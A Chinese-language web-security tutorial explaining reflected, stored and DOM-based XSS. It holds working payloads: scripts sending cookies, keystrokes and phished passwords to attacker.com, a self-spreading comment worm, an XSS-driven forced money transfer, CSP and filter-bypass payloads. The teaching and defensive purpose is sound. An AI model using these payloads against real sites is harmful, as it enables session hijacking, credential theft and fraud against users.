XSS(Cross-Site Scripting)是Web应用安全中最常见的漏洞之一。和SQL注入不同,XSS攻击的是其他用户,而不是服务器。

反射型XSS(Reflected XSS)是指恶意脚本通过URL参数等方式传入,服务器直接返回给用户,在用户浏览器中执行。
攻击流程:
如果应用程序直接输出用户输入,没有过滤:
echo $_GET['name'];攻击者可以输入:
<script>alert('XSS')</script>页面会输出:
<script>alert('XSS')</script>浏览器会执行这个脚本,弹出alert弹窗。
假设一个搜索功能存在反射型XSS:
GET /search?keyword=test后端代码会输出用户输入:
echo "搜索结果: " . $_GET['keyword'];测试反射型XSS:
GET /search?keyword=<script>alert('XSS')</script>上述请求会显示alert弹窗,说明存在XSS。
利用XSS窃取Cookie:
GET /search?keyword=<script>var img=new Image();img.src='http://attacker.com/steal?cookie='+document.cookie;</script>上述请求当用户访问这个URL时,Cookie会被发送到攻击者的服务器。
基础Payload:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>绕过过滤的Payload:
<!-- 大小写绕过 -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- 编码绕过 -->
<script>alert(String.fromCharCode(88,83,83))</script>
<!-- 事件处理器 -->
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<!-- 标签属性 -->
<img src=x onerror=alert('XSS')>
<iframe src=javascript:alert('XSS')>
存储型XSS(Stored XSS)是指恶意脚本被存储到服务器(如数据库),每次用户访问相关页面时都会执行。
攻击流程:
假设一个评论功能存在存储型XSS:
POST /comment
Content-Type: application/x-www-form-urlencoded
content=<script>alert('XSS')</script>后端存储了这个评论,当其他用户查看评论时,脚本会执行,弹出alert弹窗。
利用存储型XSS窃取Cookie:
POST /comment
content=<script>setInterval(function(){var img=new Image();img.src='http://attacker.com/steal?cookie='+document.cookie;},1000);</script>上述请求会每秒发送一次Cookie到攻击者的服务器,即使用户关闭页面,只要Cookie有效,就会持续发送。
存储型XSS可以用于蠕虫传播,让攻击自动扩散。
攻击脚本:
<script>
// 获取当前页面的Cookie和CSRF token
var cookie = document.cookie;
var csrf = document.querySelector('input[name=csrf_token]').value;
// 构造恶意评论
var maliciousComment = '<script>/* 同样的脚本 */</script>';
// 自动提交评论
var form = document.createElement('form');
form.method = 'POST';
form.action = '/comment';
form.innerHTML = '<input name="content" value="' + maliciousComment + '">' +
'<input name="csrf_token" value="' + csrf + '">';
document.body.appendChild(form);
form.submit();
</script>上述请求当用户访问包含这个脚本的页面时,会自动在评论中插入同样的脚本,实现自动传播。

DOM XSS(DOM-based XSS)是指恶意脚本通过修改DOM环境在客户端执行,不经过服务器。
攻击原理:
如果JavaScript直接使用URL参数或用户输入操作DOM:
document.getElementById('content').innerHTML = location.hash.substring(1);攻击者可以构造URL:
http://example.com/page#<img src=x onerror=alert('XSS')>上述请求当页面加载时,location.hash会被插入到DOM中,触发XSS,弹出alert弹窗。
innerHTML,直接设置element.innerHTML = userInput是危险的。document.write,直接使用document.write(userInput)是危险的。eval,使用eval(userInput)是危险的。setTimeout/setInterval,使用setTimeout(userInput, 1000)是危险的。location,设置location.href = userInput、location.search = userInput可能危险。
假设一个页面使用location.hash:
var page = location.hash.substring(1);
document.getElementById('content').innerHTML = '<h1>Page: ' + page + '</h1>';测试DOM XSS:
http://example.com/page#<img src=x onerror=alert('XSS')>上述请求会成功触发XSS,弹出alert弹窗。
更复杂的DOM XSS:
// 从URL参数获取数据
var data = new URLSearchParams(location.search).get('data');
// 使用eval执行
eval('processData("' + data + '")');攻击者可以输入:
http://example.com/page?data=");alert('XSS');//生成的代码:
eval('processData("");alert('XSS');//")');上述请求会成功执行alert('XSS'),弹出alert弹窗。

最常见的XSS利用方式就是窃取Cookie。
基础Payload:
<script>
var img = new Image();
img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
</script>使用XMLHttpRequest:
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/steal', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({cookie: document.cookie}));
</script>通过XSS可以实现键盘记录,窃取用户输入的密码等敏感信息。
实现方法:
<script>
document.addEventListener('keypress', function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/keylog', true);
xhr.send(JSON.stringify({key: e.key, time: Date.now()}));
});
</script>通过XSS可以伪造登录页面,进行钓鱼攻击。
实现方法:
<script>
// 保存原始页面
var originalHTML = document.body.innerHTML;
// 伪造登录页面
document.body.innerHTML = '<form action="http://attacker.com/phish" method="POST">' +
'<input name="username" placeholder="Username">' +
'<input name="password" type="password" placeholder="Password">' +
'<button type="submit">Login</button>' +
'</form>';
</script>XSS可以结合CSRF,实现更强大的攻击。
实现方法:
<script>
// 获取CSRF token
var csrf = document.querySelector('input[name=csrf_token]').value;
// 构造CSRF请求
var form = document.createElement('form');
form.method = 'POST';
form.action = '/transfer';
form.innerHTML = '<input name="to" value="attacker">' +
'<input name="amount" value="1000">' +
'<input name="csrf_token" value="' + csrf + '">';
document.body.appendChild(form);
form.submit();
</script>如果系统部署了CSP(Content Security Policy),则需要绕过CSP。
常见绕过方法:
JSONP绕过:
<script src="https://trusted-site.com/jsonp?callback=alert"></script>Base标签绕过:
<base href="http://attacker.com/">
<script src="/evil.js"></script>Nonce绕过: 如果CSP使用nonce,但nonce可预测或泄露,同样可以绕过CSP。
<script nonce="abc123">alert('XSS')</script>很多系统会过滤XSS,常见的过滤规则包括过滤<script>标签、过滤事件处理器(如onerror)、过滤javascript:协议、HTML实体编码等。
1. 大小写绕过:
<ScRiPt>alert('XSS')</ScRiPt>2. 编码绕过:
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert('XSS')</script>3. 标签属性绕过:
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>4. 事件处理器绕过:
<input onfocus=alert('XSS') autofocus>
<select onfocus=alert('XSS') autofocus>
<textarea onfocus=alert('XSS') autofocus>5. 协议绕过:
<a href="javascript:alert('XSS')">Click</a>
<iframe src="javascript:alert('XSS')">6. 空格绕过:
<img/src=x/onerror=alert('XSS')>
<script/type=text/javascript>alert('XSS')</script>7. 注释绕过:
<script><!--
alert('XSS')
//--></script>8. 多重编码:
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>本节我们一起梳理了XSS的常见类型——反射型(通过URL参数即用即现)、存储型(恶意脚本被存进服务器,后续每次访问都会中招)、以及DOM型(在前端通过操作页面DOM触发)。 这些攻击方式不仅能用来弹个窗,还可能用于窃取Cookie、监听用户输入、钓鱼欺骗,甚至与CSRF结合发动更复杂的攻击。我们也系统整理了各种常见的绕过手法,比如编码、事件、协议、空格、注释、多重编码等,让你在测试和防护时更有思路。
安全攻防的路上,理解XSS的原理和绕过方式,就是在为自己的开发和测试多上一把锁。别忘了——XSS攻击的是用户而不是服务器,一旦防护不到位,对每一个访问者来说都可能是致命威胁。
下一节我们将聊聊跨站请求伪造(CSRF)——XSS和CSRF经常“结伴而行”,也是安全测试和防护必须掌握的重要内容。
实践建议: 使用XSS测试Payload列表,测试不同上下文的XSS(HTML、JavaScript、属性等),尝试绕过各种过滤器,理解XSS的实际危害(不只是alert),学习CSP等防护措施。
记住:XSS攻击的是用户,而不是服务器。防护XSS的关键是对用户输入进行充分的过滤和编码。